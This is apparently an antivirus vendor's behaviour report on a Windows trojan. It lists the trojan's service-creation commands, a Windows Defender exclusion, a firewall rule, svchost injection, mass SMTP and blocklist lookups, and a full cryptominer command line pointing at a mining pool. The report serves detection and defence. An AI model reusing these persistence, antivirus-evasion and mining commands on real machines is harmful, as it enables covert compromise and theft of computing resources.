Trojan.Siggen9.16660

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\qynslfde] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\qynslfde] 'ImagePath' = '%WINDIR%\SysWOW64\qynslfde\jwifylqa.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\qynslfde] 'ImagePath' = '%WINDIR%\SysWOW64\qynslfde\jwifylqa.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qynslfde' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\jwifylqa.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\jwifylqa.exe to %WINDIR%\syswow64\qynslfde\jwifylqa.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

'mx####.concentric.com':25

'sm##.###vincia.pistoia.it':25

'd1######.#ss.barracudanetworks.com':25

'or#########.mail.protection.outlook.com':25

'mx##.###7.eu.blackberry.com':25

'10#.#3.156.119':443

'ma##.#icurezza.pro':25

'ra###########-com.mail.protection.outlook.com':25

'ma##.#homas-kiel.de':25

'ms#####.##c.protection.outlook.com':25

'fr#####.#inamail.sina.com.cn':25

'ma##.###ociclista.com.ar':25

'sc##.#ktvaldres.no':25

'ma#####.mail.eo.outlook.com':25

'ca#####.##t.mx1.logical.rcimx.net':25

'mx#.######deempresas.telefonica.es':25

'mi####.bittubeapp.com':13333

'ca###.kuleuven.be':25

'mx####.##il.gm0.yahoodns.net':25

'nc#.com.br':25

'el#############on-com01c.mail.protection.outlook.com':25

'ma##.###toriousbydesign.com':25

'w0#####e.kasserver.com':25

'mx###.expurgate.net':25

'ma##.#obt.bt.co.uk':53082

'mx.####ramwireless.com':25

'sm###nistry.org':25

'43.#31.4.7':443

'uk############-co-uk.mail.protection.outlook.com':25

'ms#####p-mx1.hinet.net':25

'mx#.#et2000.ch':25

'85.##4.134.88':482

'ho#########.olc.protection.outlook.com':25

'mt##.##0.yahoodns.net':25

'cu#######-2.in.mailcontrol.com':25

'ma##.sts.ab.ca':25

'in##.rambler.ru':25

'st##########org.mail.protection.outlook.com':25

'ma##.#agblind.de':25

'mx.##geco.ca':25

'eu#.###.#rotection.outlook.com':25

'ma##.##ngerfreezone.com':25

'mx###.##il.am0.yahoodns.net':25

'aspmx.l.google.com':25

'ma##.##omaskirschner.de':25

'ma##.#agboat.com':25

'cc#######.#ail.protection.outlook.com':25

'ma##.#inet.com.ar':25

'alt1.gmail-smtp-in.l.google.com':25

'78.#1.67.23':418

'18#.#65.238.150':418

'17#.#.114.177':418

'46.#.52.109':418

'93.##9.69.109':418

'46.#8.66.2':418

'ma###comcia.com':25

'wc#######-com.relay1g.spamh.com':25

've###########-com.mail.protection.outlook.com':25

'ma####.#wire-resources.com':25

'pa####x.above.com':25

'mx.######mail.rediff.akadns.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ra####cecomms.com
DNS ASK ra###########-com.mail.protection.outlook.com
DNS ASK wp.pl
DNS ASK mx.#p.pl
DNS ASK ya##o.gr
DNS ASK si###ezza.pro
DNS ASK ma##.#icurezza.pro
DNS ASK mx.##deotron.ca
DNS ASK th#####eel-textiles.com
DNS ASK sm##c.net
DNS ASK li##.com.mx
DNS ASK na#.###.#rotection.outlook.com
DNS ASK ty##.com
DNS ASK ea##.####.exch027.serverdata.net
DNS ASK vi###amanta.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK th####kirschner.de
DNS ASK th###s-kiel.de
DNS ASK ma##.#homas-kiel.de
DNS ASK vi###tron.ca
DNS ASK te###msa.net
DNS ASK gr##pt.be
DNS ASK pr#####ia.pistoia.it
DNS ASK sm##.###vincia.pistoia.it
DNS ASK tu####chools.org
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK su####machete.tv
DNS ASK or##ndo.org
DNS ASK or#########.mail.protection.outlook.com
DNS ASK ce###.#lackberry.com
DNS ASK mx##.###7.eu.blackberry.com
DNS ASK ya###.com.mx
DNS ASK sm###nistry.org
DNS ASK un##c.org
DNS ASK un###v6.un.org
DNS ASK sm###s.com.br
DNS ASK mx.####.locaweb.com.br
DNS ASK bi###nd.com.au
DNS ASK ex####l.bigpond.com
DNS ASK ma##.##omaskirschner.de
DNS ASK so##s.com
DNS ASK mx#.##lkomsa.net
DNS ASK ha##lton.ca
DNS ASK ca###.kuleuven.be
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK bg##e.net
DNS ASK in##int.org
DNS ASK el#####istribution.com
DNS ASK el#############on-com01c.mail.protection.outlook.com
DNS ASK fu#####onentorno.org
DNS ASK mi##c.com
DNS ASK w0#####e.kasserver.com
DNS ASK ie##.org
DNS ASK mx###.expurgate.net
DNS ASK ez###tech.com
DNS ASK mx.####ramwireless.com
DNS ASK ma##.#obt.bt.co.uk
DNS ASK sk###er.com.br
DNS ASK va##.kommune.no
DNS ASK sc##.#ktvaldres.no
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK ya###.com.au
DNS ASK ai#.com
DNS ASK mx####.concentric.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK mx##.fd.org
DNS ASK fr#####.#inamail.sina.com.cn
DNS ASK vi####ndcare.com
DNS ASK ki####odcable.net
DNS ASK ma##.##ddenlinkmail.com
DNS ASK uk#####ingmall.co.uk
DNS ASK uk############-co-uk.mail.protection.outlook.com
DNS ASK wc###ply.com
DNS ASK fi###uto-es.com
DNS ASK mx#.######deempresas.telefonica.es
DNS ASK ca##tal.net
DNS ASK ca#####.##t.mx1.logical.rcimx.net
DNS ASK un##gic.org
DNS ASK vi#####ousbydesign.com
DNS ASK ma##.###toriousbydesign.com
DNS ASK mi####.bittubeapp.com
DNS ASK po####nosabon.org
DNS ASK nt###rld.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK fd.org
DNS ASK en##r.net
DNS ASK si##.com
DNS ASK vi##ee.com
DNS ASK ma#####.mail.eo.outlook.com
DNS ASK ma#.org
DNS ASK ra##ler.ru
DNS ASK in##.rambler.ru
DNS ASK ta##lind.de
DNS ASK ma##.#agblind.de
DNS ASK ta####freezone.com
DNS ASK ma##.##ngerfreezone.com
DNS ASK in##nd.it
DNS ASK sm####n.inwind.it
DNS ASK ta##oat.com
DNS ASK ma##.#agboat.com
DNS ASK ho###il.co.uk
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ya##o.it
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ma#####uebles.com.ar
DNS ASK te##net.nl
DNS ASK pa####x.above.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK sm##.##b.shawcable.net
DNS ASK st##########org.mail.protection.outlook.com
DNS ASK sk##per.gr
DNS ASK eg#.org
DNS ASK sh#w.ca
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ya##o.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mt##.##0.yahoodns.net
DNS ASK cu#######-2.in.mailcontrol.com
DNS ASK ma###comcia.com
DNS ASK mo####clista.com.ar
DNS ASK ma##.###ociclista.com.ar
DNS ASK co##co.ca
DNS ASK mx.##geco.ca
DNS ASK st#.ab.ca
DNS ASK ma##.sts.ab.ca
DNS ASK af###illion.ae
DNS ASK s5#.com
DNS ASK ma##.enter.net
DNS ASK aspmx.l.google.com
DNS ASK ho##ail.fr
DNS ASK wc###ools.com
DNS ASK wc#######-com.relay1g.spamh.com
DNS ASK sw####resources.com
DNS ASK ma####.#wire-resources.com
DNS ASK gh#.org
DNS ASK google.com
DNS ASK ve####sshapes.com
DNS ASK ve###########-com.mail.protection.outlook.com
DNS ASK nc#.com.br
DNS ASK sy#####ecabinetry.com
DNS ASK sy############try-com.mail.protection.outlook.com
DNS ASK pf##u.org
DNS ASK ne##000.ch
DNS ASK mx#.#et2000.ch
DNS ASK ms#.#inet.net
DNS ASK ms#####p-mx1.hinet.net
DNS ASK st#.adv.br
DNS ASK mx.#.#ocaweb.com.br
DNS ASK mu#.##globe.ne.jp
DNS ASK mx###03.web.de
DNS ASK bg#####1.biglobe.ne.jp
DNS ASK we#.de
DNS ASK st###ordmed.org
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK ro####ter.rr.com
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK cc##1.org
DNS ASK cc#######.#ail.protection.outlook.com
DNS ASK gm##l.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK mi###.com.ar
DNS ASK ma##.#inet.com.ar
DNS ASK ya##o.ca
DNS ASK ma##.#ctboces.org
DNS ASK ag######ngenieros.com.mx
DNS ASK sm##.####laringenieros.com.mx
DNS ASK sy###tico.ca
DNS ASK mx###.owm.bell.net
DNS ASK yn##.org
DNS ASK ma#####ter1.ynhh.org
DNS ASK ar#####le.algonet.se
DNS ASK ma##.#amilton.ca
DNS ASK sv##lib.org

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\qynslfde\jwifylqa.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qynslfde\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jwifylqa.exe" %WINDIR%\SysWOW64\qynslfde\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create qynslfde binPath= "%WINDIR%\SysWOW64\qynslfde\jwifylqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description qynslfde "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start qynslfde' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qynslfde\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jwifylqa.exe" %WINDIR%\SysWOW64\qynslfde\
'%WINDIR%\syswow64\sc.exe' create qynslfde binPath= "%WINDIR%\SysWOW64\qynslfde\jwifylqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description qynslfde "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start qynslfde
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k

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Términos

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Mitos

Technical Information

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